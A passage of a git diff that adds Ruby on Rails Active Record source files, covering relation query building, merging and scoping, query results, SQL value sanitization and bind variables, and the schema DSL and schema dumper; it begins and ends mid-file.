+ def symbol_unscoping(scope)
+ if !VALID_UNSCOPING_VALUES.include?(scope)
+ raise ArgumentError, "Called unscope() with invalid unscoping argument ':#{scope}'. Valid arguments are :#{VALID_UNSCOPING_VALUES.to_a.join(", :")}."
+ end
+
+ single_val_method = Relation::SINGLE_VALUE_METHODS.include?(scope)
+ unscope_code = :"#{scope}_value#{'s' unless single_val_method}="
+
+ case scope
+ when :order
+ self.send(:reverse_order_value=, false)
+ result = []
+ else
+ result = [] unless single_val_method
+ end
+
+ self.send(unscope_code, result)
+ end
+
+ def where_unscoping(target_value)
+ target_value_sym = target_value.to_sym
+
+ where_values.reject! do |rel|
+ case rel
+ when Arel::Nodes::In, Arel::Nodes::Equality
+ subrelation = (rel.left.kind_of?(Arel::Attributes::Attribute) ? rel.left : rel.right)
+ subrelation.name.to_sym == target_value_sym
+ else
+ raise "unscope(where: #{target_value.inspect}) failed: unscoping #{rel.class} is unimplemented."
+ end
+ end
+ end
+
+ def custom_join_ast(table, joins)
+ joins = joins.reject { |join| join.blank? }
+
+ return [] if joins.empty?
+
+ @implicit_readonly = true
+
+ joins.map do |join|
+ case join
+ when Array
+ join = Arel.sql(join.join(' ')) if array_of_strings?(join)
+ when String
+ join = Arel.sql(join)
+ end
+ table.create_string_join(join)
+ end
+ end
+
+ def collapse_wheres(arel, wheres)
+ equalities = wheres.grep(Arel::Nodes::Equality)
+
+ arel.where(Arel::Nodes::And.new(equalities)) unless equalities.empty?
+
+ (wheres - equalities).each do |where|
+ where = Arel.sql(where) if String === where
+ arel.where(Arel::Nodes::Grouping.new(where))
+ end
+ end
+
+ def build_where(opts, other = [])
+ case opts
+ when String, Array
+ [@klass.send(:sanitize_sql, other.empty? ? opts : ([opts] + other))]
+ when Hash
+ attributes = @klass.send(:expand_hash_conditions_for_aggregates, opts)
+
+ attributes.values.grep(ActiveRecord::Relation) do |rel|
+ self.bind_values += rel.bind_values
+ end
+
+ PredicateBuilder.build_from_hash(klass, attributes, table)
+ else
+ [opts]
+ end
+ end
+
+ def build_from
+ opts, name = from_value
+ case opts
+ when Relation
+ name ||= 'subquery'
+ opts.arel.as(name.to_s)
+ else
+ opts
+ end
+ end
+
+ def build_joins(manager, joins)
+ buckets = joins.group_by do |join|
+ case join
+ when String
+ :string_join
+ when Hash, Symbol, Array
+ :association_join
+ when ActiveRecord::Associations::JoinDependency::JoinAssociation
+ :stashed_join
+ when Arel::Nodes::Join
+ :join_node
+ else
+ raise 'unknown class: %s' % join.class.name
+ end
+ end
+
+ association_joins = buckets[:association_join] || []
+ stashed_association_joins = buckets[:stashed_join] || []
+ join_nodes = (buckets[:join_node] || []).uniq
+ string_joins = (buckets[:string_join] || []).map { |x| x.strip }.uniq
+
+ join_list = join_nodes + custom_join_ast(manager, string_joins)
+
+ join_dependency = ActiveRecord::Associations::JoinDependency.new(
+ @klass,
+ association_joins,
+ join_list
+ )
+
+ join_dependency.graft(*stashed_association_joins)
+
+ @implicit_readonly = true unless association_joins.empty? && stashed_association_joins.empty?
+
+ # FIXME: refactor this to build an AST
+ join_dependency.join_associations.each do |association|
+ association.join_to(manager)
+ end
+
+ manager.join_sources.concat join_list
+
+ manager
+ end
+
+ def build_select(arel, selects)
+ unless selects.empty?
+ @implicit_readonly = false
+ arel.project(*selects)
+ else
+ arel.project(@klass.arel_table[Arel.star])
+ end
+ end
+
+ def reverse_sql_order(order_query)
+ order_query = ["#{quoted_table_name}.#{quoted_primary_key} ASC"] if order_query.empty?
+
+ order_query.flat_map do |o|
+ case o
+ when Arel::Nodes::Ordering
+ o.reverse
+ when String
+ o.to_s.split(',').collect do |s|
+ s.strip!
+ s.gsub!(/\sasc\Z/i, ' DESC') || s.gsub!(/\sdesc\Z/i, ' ASC') || s.concat(' DESC')
+ end
+ when Symbol
+ { o => :desc }
+ when Hash
+ o.each_with_object({}) do |(field, dir), memo|
+ memo[field] = (dir == :asc ? :desc : :asc )
+ end
+ else
+ o
+ end
+ end
+ end
+
+ def array_of_strings?(o)
+ o.is_a?(Array) && o.all?{|obj| obj.is_a?(String)}
+ end
+
+ def build_order(arel)
+ orders = order_values
+ orders = reverse_sql_order(orders) if reverse_order_value
+
+ orders = orders.uniq.reject(&:blank?).flat_map do |order|
+ case order
+ when Symbol
+ table[order].asc
+ when Hash
+ order.map { |field, dir| table[field].send(dir) }
+ else
+ order
+ end
+ end
+
+ arel.order(*orders) unless orders.empty?
+ end
+
+ def validate_order_args(args)
+ args.select { |a| Hash === a }.each do |h|
+ unless (h.values - [:asc, :desc]).empty?
+ raise ArgumentError, 'Direction should be :asc or :desc'
+ end
+ end
+ end
+
+ # Checks to make sure that the arguments are not blank. Note that if some
+ # blank-like object were initially passed into the query method, then this
+ # method will not raise an error.
+ #
+ # Example:
+ #
+ # Post.references() # => raises an error
+ # Post.references([]) # => does not raise an error
+ #
+ # This particular method should be called with a method_name and the args
+ # passed into that method as an input. For example:
+ #
+ # def references(*args)
+ # check_if_method_has_arguments!("references", args)
+ # ...
+ # end
+ def check_if_method_has_arguments!(method_name, args)
+ if args.blank?
+ raise ArgumentError, "The method .#{method_name}() must contain arguments."
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/relation/spawn_methods.rb b/activerecord/lib/active_record/relation/spawn_methods.rb
new file mode 100644
index 0000000..de784f9
--- /dev/null
+++ b/activerecord/lib/active_record/relation/spawn_methods.rb
@@ -0,0 +1,73 @@
+require 'active_support/core_ext/hash/except'
+require 'active_support/core_ext/hash/slice'
+require 'active_record/relation/merger'
+
+module ActiveRecord
+ module SpawnMethods
+
+ # This is overridden by Associations::CollectionProxy
+ def spawn #:nodoc:
+ clone
+ end
+
+ # Merges in the conditions from <tt>other</tt>, if <tt>other</tt> is an <tt>ActiveRecord::Relation</tt>.
+ # Returns an array representing the intersection of the resulting records with <tt>other</tt>, if <tt>other</tt> is an array.
+ # Post.where(published: true).joins(:comments).merge( Comment.where(spam: false) )
+ # # Performs a single join query with both where conditions.
+ #
+ # recent_posts = Post.order('created_at DESC').first(5)
+ # Post.where(published: true).merge(recent_posts)
+ # # Returns the intersection of all published posts with the 5 most recently created posts.
+ # # (This is just an example. You'd probably want to do this with a single query!)
+ #
+ # Procs will be evaluated by merge:
+ #
+ # Post.where(published: true).merge(-> { joins(:comments) })
+ # # => Post.where(published: true).joins(:comments)
+ #
+ # This is mainly intended for sharing common conditions between multiple associations.
+ def merge(other)
+ if other.is_a?(Array)
+ to_a & other
+ elsif other
+ spawn.merge!(other)
+ else
+ self
+ end
+ end
+
+ def merge!(other) # :nodoc:
+ if !other.is_a?(Relation) && other.respond_to?(:to_proc)
+ instance_exec(&other)
+ else
+ klass = other.is_a?(Hash) ? Relation::HashMerger : Relation::Merger
+ klass.new(self, other).merge
+ end
+ end
+
+ # Removes from the query the condition(s) specified in +skips+.
+ #
+ # Post.order('id asc').except(:order) # discards the order condition
+ # Post.where('id > 10').order('id asc').except(:where) # discards the where condition but keeps the order
+ def except(*skips)
+ relation_with values.except(*skips)
+ end
+
+ # Removes any condition from the query other than the one(s) specified in +onlies+.
+ #
+ # Post.order('id asc').only(:where) # discards the order condition
+ # Post.order('id asc').only(:where, :order) # uses the specified order
+ def only(*onlies)
+ relation_with values.slice(*onlies)
+ end
+
+ private
+
+ def relation_with(values) # :nodoc:
+ result = Relation.new(klass, table, values)
+ result.default_scoped = default_scoped
+ result.extend(*extending_values) if extending_values.any?
+ result
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/result.rb b/activerecord/lib/active_record/result.rb
new file mode 100644
index 0000000..bea195e
--- /dev/null
+++ b/activerecord/lib/active_record/result.rb
@@ -0,0 +1,67 @@
+module ActiveRecord
+ ###
+ # This class encapsulates a Result returned from calling +exec_query+ on any
+ # database connection adapter. For example:
+ #
+ # x = ActiveRecord::Base.connection.exec_query('SELECT * FROM foo')
+ # x # => #<ActiveRecord::Result:0xdeadbeef>
+ class Result
+ include Enumerable
+
+ attr_reader :columns, :rows, :column_types
+
+ def initialize(columns, rows, column_types = {})
+ @columns = columns
+ @rows = rows
+ @hash_rows = nil
+ @column_types = column_types
+ end
+
+ def each
+ hash_rows.each { |row| yield row }
+ end
+
+ def to_hash
+ hash_rows
+ end
+
+ alias :map! :map
+ alias :collect! :map
+
+ # Returns true if there are no records.
+ def empty?
+ rows.empty?
+ end
+
+ def to_ary
+ hash_rows
+ end
+
+ def [](idx)
+ hash_rows[idx]
+ end
+
+ def last
+ hash_rows.last
+ end
+
+ def initialize_copy(other)
+ @columns = columns.dup
+ @rows = rows.dup
+ @hash_rows = nil
+ end
+
+ private
+ def hash_rows
+ @hash_rows ||=
+ begin
+ # We freeze the strings to prevent them getting duped when
+ # used as keys in ActiveRecord::Base's @attributes hash
+ columns = @columns.map { |c| c.dup.freeze }
+ @rows.map { |row|
+ Hash[columns.zip(row)]
+ }
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/runtime_registry.rb b/activerecord/lib/active_record/runtime_registry.rb
new file mode 100644
index 0000000..63e6738
--- /dev/null
+++ b/activerecord/lib/active_record/runtime_registry.rb
@@ -0,0 +1,17 @@
+require 'active_support/per_thread_registry'
+
+module ActiveRecord
+ # This is a thread locals registry for Active Record. For example:
+ #
+ # ActiveRecord::RuntimeRegistry.connection_handler
+ #
+ # returns the connection handler local to the current thread.
+ #
+ # See the documentation of <tt>ActiveSupport::PerThreadRegistry</tt>
+ # for further details.
+ class RuntimeRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ attr_accessor :connection_handler, :sql_runtime, :connection_id
+ end
+end
diff --git a/activerecord/lib/active_record/sanitization.rb b/activerecord/lib/active_record/sanitization.rb
new file mode 100644
index 0000000..3c5b871
--- /dev/null
+++ b/activerecord/lib/active_record/sanitization.rb
@@ -0,0 +1,168 @@
+module ActiveRecord
+ module Sanitization
+ extend ActiveSupport::Concern
+
+ module ClassMethods
+ def quote_value(value, column = nil) #:nodoc:
+ connection.quote(value,column)
+ end
+
+ # Used to sanitize objects before they're used in an SQL SELECT statement. Delegates to <tt>connection.quote</tt>.
+ def sanitize(object) #:nodoc:
+ connection.quote(object)
+ end
+
+ protected
+
+ # Accepts an array, hash, or string of SQL conditions and sanitizes
+ # them into a valid SQL fragment for a WHERE clause.
+ # ["name='%s' and group_id='%s'", "foo'bar", 4] returns "name='foo''bar' and group_id='4'"
+ # { name: "foo'bar", group_id: 4 } returns "name='foo''bar' and group_id='4'"
+ # "name='foo''bar' and group_id='4'" returns "name='foo''bar' and group_id='4'"
+ def sanitize_sql_for_conditions(condition, table_name = self.table_name)
+ return nil if condition.blank?
+
+ case condition
+ when Array; sanitize_sql_array(condition)
+ when Hash; sanitize_sql_hash_for_conditions(condition, table_name)
+ else condition
+ end
+ end
+ alias_method :sanitize_sql, :sanitize_sql_for_conditions
+
+ # Accepts an array, hash, or string of SQL conditions and sanitizes
+ # them into a valid SQL fragment for a SET clause.
+ # { name: nil, group_id: 4 } returns "name = NULL , group_id='4'"
+ def sanitize_sql_for_assignment(assignments, default_table_name = self.table_name)
+ case assignments
+ when Array; sanitize_sql_array(assignments)
+ when Hash; sanitize_sql_hash_for_assignment(assignments, default_table_name)
+ else assignments
+ end
+ end
+
+ # Accepts a hash of SQL conditions and replaces those attributes
+ # that correspond to a +composed_of+ relationship with their expanded
+ # aggregate attribute values.
+ # Given:
+ # class Person < ActiveRecord::Base
+ # composed_of :address, class_name: "Address",
+ # mapping: [%w(address_street street), %w(address_city city)]
+ # end
+ # Then:
+ # { address: Address.new("813 abc st.", "chicago") }
+ # # => { address_street: "813 abc st.", address_city: "chicago" }
+ def expand_hash_conditions_for_aggregates(attrs)
+ expanded_attrs = {}
+ attrs.each do |attr, value|
+ if aggregation = reflect_on_aggregation(attr.to_sym)
+ mapping = aggregation.mapping
+ mapping.each do |field_attr, aggregate_attr|
+ if mapping.size == 1 && !value.respond_to?(aggregate_attr)
+ expanded_attrs[field_attr] = value
+ else
+ expanded_attrs[field_attr] = value.send(aggregate_attr)
+ end
+ end
+ else
+ expanded_attrs[attr] = value
+ end
+ end
+ expanded_attrs
+ end
+
+ # Sanitizes a hash of attribute/value pairs into SQL conditions for a WHERE clause.
+ # { name: "foo'bar", group_id: 4 }
+ # # => "name='foo''bar' and group_id= 4"
+ # { status: nil, group_id: [1,2,3] }
+ # # => "status IS NULL and group_id IN (1,2,3)"
+ # { age: 13..18 }
+ # # => "age BETWEEN 13 AND 18"
+ # { 'other_records.id' => 7 }
+ # # => "`other_records`.`id` = 7"
+ # { other_records: { id: 7 } }
+ # # => "`other_records`.`id` = 7"
+ # And for value objects on a composed_of relationship:
+ # { address: Address.new("123 abc st.", "chicago") }
+ # # => "address_street='123 abc st.' and address_city='chicago'"
+ def sanitize_sql_hash_for_conditions(attrs, default_table_name = self.table_name)
+ attrs = expand_hash_conditions_for_aggregates(attrs)
+
+ table = Arel::Table.new(table_name, arel_engine).alias(default_table_name)
+ PredicateBuilder.build_from_hash(self.class, attrs, table).map { |b|
+ connection.visitor.accept b
+ }.join(' AND ')
+ end
+ alias_method :sanitize_sql_hash, :sanitize_sql_hash_for_conditions
+
+ # Sanitizes a hash of attribute/value pairs into SQL conditions for a SET clause.
+ # { status: nil, group_id: 1 }
+ # # => "status = NULL , group_id = 1"
+ def sanitize_sql_hash_for_assignment(attrs, table)
+ attrs.map do |attr, value|
+ "#{connection.quote_table_name_for_assignment(table, attr)} = #{quote_bound_value(value)}"
+ end.join(', ')
+ end
+
+ # Accepts an array of conditions. The array has each value
+ # sanitized and interpolated into the SQL statement.
+ # ["name='%s' and group_id='%s'", "foo'bar", 4] returns "name='foo''bar' and group_id='4'"
+ def sanitize_sql_array(ary)
+ statement, *values = ary
+ if values.first.is_a?(Hash) && statement =~ /:\w+/
+ replace_named_bind_variables(statement, values.first)
+ elsif statement.include?('?')
+ replace_bind_variables(statement, values)
+ elsif statement.blank?
+ statement
+ else
+ statement % values.collect { |value| connection.quote_string(value.to_s) }
+ end
+ end
+
+ alias_method :sanitize_conditions, :sanitize_sql
+
+ def replace_bind_variables(statement, values) #:nodoc:
+ raise_if_bind_arity_mismatch(statement, statement.count('?'), values.size)
+ bound = values.dup
+ c = connection
+ statement.gsub('?') { quote_bound_value(bound.shift, c) }
+ end
+
+ def replace_named_bind_variables(statement, bind_vars) #:nodoc:
+ statement.gsub(/(:?):([a-zA-Z]\w*)/) do
+ if $1 == ':' # skip postgresql casts
+ $& # return the whole match
+ elsif bind_vars.include?(match = $2.to_sym)
+ quote_bound_value(bind_vars[match])
+ else
+ raise PreparedStatementInvalid, "missing value for :#{match} in #{statement}"
+ end
+ end
+ end
+
+ def quote_bound_value(value, c = connection) #:nodoc:
+ if value.respond_to?(:map) && !value.acts_like?(:string)
+ if value.respond_to?(:empty?) && value.empty?
+ c.quote(nil)
+ else
+ value.map { |v| c.quote(v) }.join(',')
+ end
+ else
+ c.quote(value)
+ end
+ end
+
+ def raise_if_bind_arity_mismatch(statement, expected, provided) #:nodoc:
+ unless expected == provided
+ raise PreparedStatementInvalid, "wrong number of bind variables (#{provided} for #{expected}) in: #{statement}"
+ end
+ end
+ end
+
+ # TODO: Deprecate this
+ def quoted_id
+ self.class.quote_value(id, column_for_attribute(self.class.primary_key))
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/schema.rb b/activerecord/lib/active_record/schema.rb
new file mode 100644
index 0000000..3259dbb
--- /dev/null
+++ b/activerecord/lib/active_record/schema.rb
@@ -0,0 +1,65 @@
+
+module ActiveRecord
+ # = Active Record Schema
+ #
+ # Allows programmers to programmatically define a schema in a portable
+ # DSL. This means you can define tables, indexes, etc. without using SQL
+ # directly, so your applications can more easily support multiple
+ # databases.
+ #
+ # Usage:
+ #
+ # ActiveRecord::Schema.define do
+ # create_table :authors do |t|
+ # t.string :name, null: false
+ # end
+ #
+ # add_index :authors, :name, :unique
+ #
+ # create_table :posts do |t|
+ # t.integer :author_id, null: false
+ # t.string :subject
+ # t.text :body
+ # t.boolean :private, default: false
+ # end
+ #
+ # add_index :posts, :author_id
+ # end
+ #
+ # ActiveRecord::Schema is only supported by database adapters that also
+ # support migrations, the two features being very similar.
+ class Schema < Migration
+
+ # Returns the migrations paths.
+ #
+ # ActiveRecord::Schema.new.migrations_paths
+ # # => ["db/migrate"] # Rails migration path by default.
+ def migrations_paths
+ ActiveRecord::Migrator.migrations_paths
+ end
+
+ def define(info, &block) # :nodoc:
+ instance_eval(&block)
+
+ unless info[:version].blank?
+ initialize_schema_migrations_table
+ assume_migrated_upto_version(info[:version], migrations_paths)
+ end
+ end
+
+ # Eval the given block. All methods available to the current connection
+ # adapter are available within the block, so you can easily use the
+ # database definition DSL to build up your schema (+create_table+,
+ # +add_index+, etc.).
+ #
+ # The +info+ hash is optional, and if given is used to define metadata
+ # about the current schema (currently, only the schema's version):
+ #
+ # ActiveRecord::Schema.define(version: 20380119000001) do
+ # ...
+ # end
+ def self.define(info={}, &block)
+ new.define(info, &block)
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/schema_dumper.rb b/activerecord/lib/active_record/schema_dumper.rb
new file mode 100644
index 0000000..10c6d27
--- /dev/null
+++ b/activerecord/lib/active_record/schema_dumper.rb
@@ -0,0 +1,204 @@
+require 'stringio'
+require 'active_support/core_ext/big_decimal'
+
+module ActiveRecord
+ # = Active Record Schema Dumper
+ #
+ # This class is used to dump the database schema for some connection to some
+ # output format (i.e., ActiveRecord::Schema).
+ class SchemaDumper #:nodoc:
+ private_class_method :new
+
+ ##
+ # :singleton-method:
+ # A list of tables which should not be dumped to the schema.
+ # Acceptable values are strings as well as regexp.
+ # This setting is only used if ActiveRecord::Base.schema_format == :ruby
+ cattr_accessor :ignore_tables
+ @@ignore_tables = []
+
+ def self.dump(connection=ActiveRecord::Base.connection, stream=STDOUT)
+ new(connection).dump(stream)
+ stream
+ end
+
+ def dump(stream)
+ header(stream)
+ extensions(stream)
+ tables(stream)
+ trailer(stream)
+ stream
+ end
+
+ private
+
+ def initialize(connection)
+ @connection = connection
+ @types = @connection.native_database_types
+ @version = Migrator::current_version rescue nil
+ end
+
+ def header(stream)
+ define_params = @version ? "version: #{@version}" : ""
+
+ if stream.respond_to?(:external_encoding) && stream.external_encoding
+ stream.puts "# encoding: #{stream.external_encoding.name}"
+ end
+
+ stream.puts <<HEADER
+# This file is auto-generated from the current state of the database. Instead
+# of editing this file, please use the migrations feature of Active Record to
+# incrementally modify your database, and then regenerate this schema definition.
+#
+# Note that this schema.rb definition is the authoritative source for your
+# database schema. If you need to create the application database on another
+# system, you should be using db:schema:load, not running all the migrations
+# from scratch. The latter is a flawed and unsustainable approach (the more migrations
+# you'll amass, the slower it'll run and the greater likelihood for issues).
+#
+# It's strongly recommended that you check this file into your version control system.
+
+ActiveRecord::Schema.define(#{define_params}) do
+
+HEADER
+ end
+
+ def trailer(stream)
+ stream.puts "end"
+ end
+
+ def extensions(stream)
+ return unless @connection.supports_extensions?
+ extensions = @connection.extensions
+ if extensions.any?
+ stream.puts " # These are extensions that must be enabled in order to support this database"
+ extensions.each do |extension|
+ stream.puts " enable_extension #{extension.inspect}"
+ end
+ stream.puts
+ end
+ end
+
+ def tables(stream)
+ @connection.tables.sort.each do |tbl|
+ next if ['schema_migrations', ignore_tables].flatten.any? do |ignored|
+ case ignored
+ when String; remove_prefix_and_suffix(tbl) == ignored
+ when Regexp; remove_prefix_and_suffix(tbl) =~ ignored
+ else
+ raise StandardError, 'ActiveRecord::SchemaDumper.ignore_tables accepts an array of String and / or Regexp values.'
+ end
+ end
+ table(tbl, stream)
+ end
+ end
+
+ def table(table, stream)
+ columns = @connection.columns(table)
+ begin
+ tbl = StringIO.new
+
+ # first dump primary key column
+ if @connection.respond_to?(:pk_and_sequence_for)
+ pk, _ = @connection.pk_and_sequence_for(table)
+ elsif @connection.respond_to?(:primary_key)
+ pk = @connection.primary_key(table)
+ end
+
+ tbl.print " create_table #{remove_prefix_and_suffix(table).inspect}"
+ if columns.detect { |c| c.name == pk }
+ if pk != 'id'
+ tbl.print %Q(, primary_key: "#{pk}")
+ end
+ else
+ tbl.print ", id: false"
+ end
+ tbl.print ", force: true"
+ tbl.puts " do |t|"
+
+ # then dump all non-primary key columns
+ column_specs = columns.map do |column|
+ raise StandardError, "Unknown type '#{column.sql_type}' for column '#{column.name}'" unless @connection.valid_type?(column.type)
+ next if column.name == pk
+ @connection.column_spec(column, @types)
+ end.compact
+
+ # find all migration keys used in this table
+ keys = @connection.migration_keys
+
+ # figure out the lengths for each column based on above keys
+ lengths = keys.map { |key|
+ column_specs.map { |spec|
+ spec[key] ? spec[key].length + 2 : 0
+ }.max
+ }
+
+ # the string we're going to sprintf our values against, with standardized column widths
+ format_string = lengths.map{ |len| "%-#{len}s" }
+
+ # find the max length for the 'type' column, which is special
+ type_length = column_specs.map{ |column| column[:type].length }.max
+
+ # add column type definition to our format string
+ format_string.unshift " t.%-#{type_length}s "
+
+ format_string *= ''
+
+ column_specs.each do |colspec|
+ values = keys.zip(lengths).map{ |key, len| colspec.key?(key) ? colspec[key] + ", " : " " * len }
+ values.unshift colspec[:type]
+ tbl.print((format_string % values).gsub(/,\s*$/, ''))
+ tbl.puts
+ end
+
+ tbl.puts " end"
+ tbl.puts
+
+ indexes(table, tbl)
+
+ tbl.rewind
+ stream.print tbl.read
+ rescue => e
+ stream.puts "# Could not dump table #{table.inspect} because of following #{e.class}"
+ stream.puts "# #{e.message}"
+ stream.puts
+ end
+
+ stream
+ end
+
+ def indexes(table, stream)
+ if (indexes = @connection.indexes(table)).any?
+ add_index_statements = indexes.map do |index|
+ statement_parts = [
+ ('add_index ' + remove_prefix_and_suffix(index.table).inspect),
+ index.columns.inspect,
+ ('name: ' + index.name.inspect),
+ ]
+ statement_parts << 'unique: true' if index.unique
+
+ index_lengths = (index.lengths || []).compact
+ statement_parts << ('length: ' + Hash[index.columns.zip(index.lengths)].inspect) unless index_lengths.empty?
+
+ index_orders = (index.orders || {})
+ statement_parts << ('order: ' + index.orders.inspect) unless index_orders.empty?
+
+ statement_parts << ('where: ' + index.where.inspect) if index.where
+
+ statement_parts << ('using: ' + index.using.inspect) if index.using
+
+ statement_parts << ('type: ' + index.type.inspect) if index.type
+
+ ' ' + statement_parts.join(', ')
+ end
+
+ stream.puts add_index_statements.sort.join("\n")
+ stream.puts
+ end
+ end
+
+ def remove_prefix_and_suffix(table)
+ table.gsub(/^(#{ActiveRecord::Base.table_name_prefix})(.+)(#{ActiveRecord::Base.table_name_suffix})$/, "\\2")
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/schema_migration.rb b/activerecord/lib/active_record/schema_migration.rb
new file mode 100644
index 0000000..6077144
--- /dev/null
+++ b/activerecord/lib/active_record/schema_migration.rb
@@ -0,0 +1,39 @@
+require 'active_record/scoping/default'
+require 'active_record/scoping/named'
+require 'active_record/base'
+
+module ActiveRecord
+ class SchemaMigration < ActiveRecord::Base
+
+ def self.table_name
+ "#{Base.table_name_prefix}schema_migrations#{Base.table_name_suffix}"
+ end
+
+ def self.index_name
+ "#{Base.table_name_prefix}unique_schema_migrations#{Base.table_name_suffix}"
+ end
+
+ def self.create_table(limit=nil)
+ unless connection.table_exists?(table_name)
+ version_options = {null: false}
+ version_options[:limit] = limit if limit
+
+ connection.create_table(table_name, id: false) do |t|
+ t.column :version, :string, version_options
+ end
+ connection.add_index table_name, :version, unique: true, name: index_name
+ end
+ end
+
+ def self.drop_table
+ if connection.table_exists?(table_name)
+ connection.remove_index table_name, name: index_name
+ connection.drop_table(table_name)
+ end
+ end
+
+ def version
+ super.to_i
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/scoping.rb b/activerecord/lib/active_record/scoping.rb
new file mode 100644
index 0000000..0cf3d59
--- /dev/null
+++ b/activerecord/lib/active_record/scoping.rb
@@ -0,0 +1,82 @@
+require 'active_support/per_thread_registry'
+
+module ActiveRecord
+ module Scoping
+ extend ActiveSupport::Concern
+
+ included do
+ include Default
+ include Named
+ end
+
+ module ClassMethods
+ def current_scope #:nodoc:
+ ScopeRegistry.value_for(:current_scope, base_class.to_s)
+ end
+
+ def current_scope=(scope) #:nodoc:
+ ScopeRegistry.set_value_for(:current_scope, base_class.to_s, scope)
+ end
+ end
+
+ def populate_with_current_scope_attributes
+ return unless self.class.scope_attributes?
+
+ self.class.scope_attributes.each do |att,value|
+ send("#{att}=", value) if respond_to?("#{att}=")
+ end
+ end
+
+ # This class stores the +:current_scope+ and +:ignore_default_scope+ values
+ # for different classes. The registry is stored as a thread local, which is
+ # accessed through +ScopeRegistry.current+.
+ #
+ # This class allows you to store and get the scope values on different
+ # classes and different types of scopes. For example, if you are attempting
+ # to get the current_scope for the +Board+ model, then you would use the
+ # following code:
+ #
+ # registry = ActiveRecord::Scoping::ScopeRegistry
+ # registry.set_value_for(:current_scope, "Board", some_new_scope)
+ #
+ # Now when you run:
+ #
+ # registry.value_for(:current_scope, "Board")
+ #
+ # You will obtain whatever was defined in +some_new_scope+. The +value_for+
+ # and +set_value_for+ methods are delegated to the current +ScopeRegistry+
+ # object, so the above example code can also be called as:
+ #
+ # ActiveRecord::Scoping::ScopeRegistry.set_value_for(:current_scope,
+ # "Board", some_new_scope)
+ class ScopeRegistry # :nodoc:
+ extend ActiveSupport::PerThreadRegistry
+
+ VALID_SCOPE_TYPES = [:current_scope, :ignore_default_scope]
+
+ def initialize
+ @registry = Hash.new { |hash, key| hash[key] = {} }
+ end
+
+ # Obtains the value for a given +scope_name+ and +variable_name+.
+ def value_for(scope_type, variable_name)
+ raise_invalid_scope_type!(scope_type)
+ @registry[scope_type][variable_name]
+ end
+
+ # Sets the +value+ for a given +scope_type+ and +variable_name+.
+ def set_value_for(scope_type, variable_name, value)
+ raise_invalid_scope_type!(scope_type)
+ @registry[scope_type][variable_name] = value
+ end
+
+ private
+
+ def raise_invalid_scope_type!(scope_type)
+ if !VALID_SCOPE_TYPES.include?(scope_type)
+ raise ArgumentError, "Invalid scope type '#{scope_type}' sent to the registry. Scope types must be included in VALID_SCOPE_TYPES"
+ end
+ end
+ end
+ end
+end
diff --git a/activerecord/lib/active_record/scoping/default.rb b/activerecord/lib/active_record/scoping/default.rb
new file mode 100644
index 0000000..d37d33d
--- /dev/null
+++ b/activerecord/lib/active_record/scoping/default.rb
@@ -0,0 +1,146 @@
+module ActiveRecord
+ module Scoping
+ module Default
+ extend ActiveSupport::Concern
+
+ included do
+ # Stores the default scope for the class.
+ class_attribute :default_scopes, instance_writer: false, instance_predicate: false
+
+ self.default_scopes = []
+
+ def self.default_scopes?
+ ActiveSupport::Deprecation.warn(
+ "#default_scopes? is deprecated. Do something like #default_scopes.empty? instead."
+ )
+
+ !!self.default_scopes
+ end
+ end
+
+ module ClassMethods
+ # Returns a scope for the model without the +default_scope+.
+ #
+ # class Post < ActiveRecord::Base
+ # def self.default_scope
+ # where published: true
+ # end
+ # end
+ #
+ # Post.all # Fires "SELECT * FROM posts WHERE published = true"
+ # Post.unscoped.all # Fires "SELECT * FROM posts"
+ #
+ # This method also accepts a block. All queries inside the block will
+ # not use the +default_scope+:
+ #
+ # Post.unscoped {
+ # Post.limit(10) # Fires "SELECT * FROM posts LIMIT 10"
+ # }
+ def unscoped
+ block_given? ? relation.scoping { yield } : relation
+ end
+
+ def before_remove_const #:nodoc:
+ self.current_scope = nil
+ end
+
+ protected
+
+ # Use this macro in your model to set a default scope for all operations on
+ # the model.
+ #
+ # class Article < ActiveRecord::Base
+ # default_scope { where(published: true) }
+ # end
+ #
+ # Article.all # => SELECT * FROM articles WHERE published = true
+ #
+ # The +default_scope+ is also applied while creating/building a record.
+ # It is not applied while updating a record.
+ #
+ # Article.new.published # => true
+ # Article.create.published # => true
+ #
+ # (You can also pass any object which responds to +call+ to the
+ # +default_scope+ macro, and it will be called when building the
+ # default scope.)
+ #
+ # If you use multiple +default_scope+ declarations in your model then
+ # they will be merged together:
+ #
+ # class Article < ActiveRecord::Base
+ # default_scope { where(published: true) }
+ # default_scope { where(rating: 'G') }
+ # end
+ #
+ # Article.all # => SELECT * FROM articles WHERE published = true AND rating = 'G'
+ #
+ # This is also the case with inheritance and module includes where the
+ # parent or module defines a +default_scope+ and the child or including
+ # class defines a second one.
+ #
+ # If you need to do more complex things with a default scope, you can
+ # alternatively define it as a class method:
+ #
+ # class Article < ActiveRecord::Base
+ # def self.default_scope
+ # # Should return a scope, you can call 'super' here etc.
+ # end
+ # end
+ def default_scope(scope = nil)
+ scope = Proc.new if block_given?
+
+ if scope.is_a?(Relation) || !scope.respond_to?(:call)
+ ActiveSupport::Deprecation.warn(
+ "Calling #default_scope without a block is deprecated. For example instead " \
+ "of `default_scope where(color: 'red')`, please use " \
+ "`default_scope { where(color: 'red') }`. (Alternatively you can just redefine " \
+ "self.default_scope.)"
+ )
+ end
+
+ self.default_scopes += [scope]
+ end
+
+ def build_default_scope # :nodoc:
+ if !Base.is_a?(method(:default_scope).owner)
+ # The user has defined their own default scope method, so call that
+ evaluate_default_scope { default_scope }
+ elsif default_scopes.any?
+ evaluate_default_scope do
+ default_scopes.inject(relation) do |default_scope, scope|
+ if !scope.is_a?(Relation) && scope.respond_to?(:call)
+ default_scope.merge(unscoped { scope.call })
+ else
+ default_scope.merge(scope)
+ end
+ end
+ end
+ end
+ end
+
+ def ignore_default_scope? # :nodoc:
+ ScopeRegistry.value_for(:ignore_default_scope, self)
+ end
+
+ def ignore_default_scope=(ignore) # :nodoc:
+ ScopeRegistry.set_value_for(:ignore_default_scope, self, ignore)
+ end
+
+ # The ignore_default_scope flag is used to prevent an infinite recursion
+ # situation where a default scope references a scope which has a default
+ # scope which references a scope...
+ def evaluate_default_scope # :nodoc:
+ return if ignore_default_scope?
+
+ begin
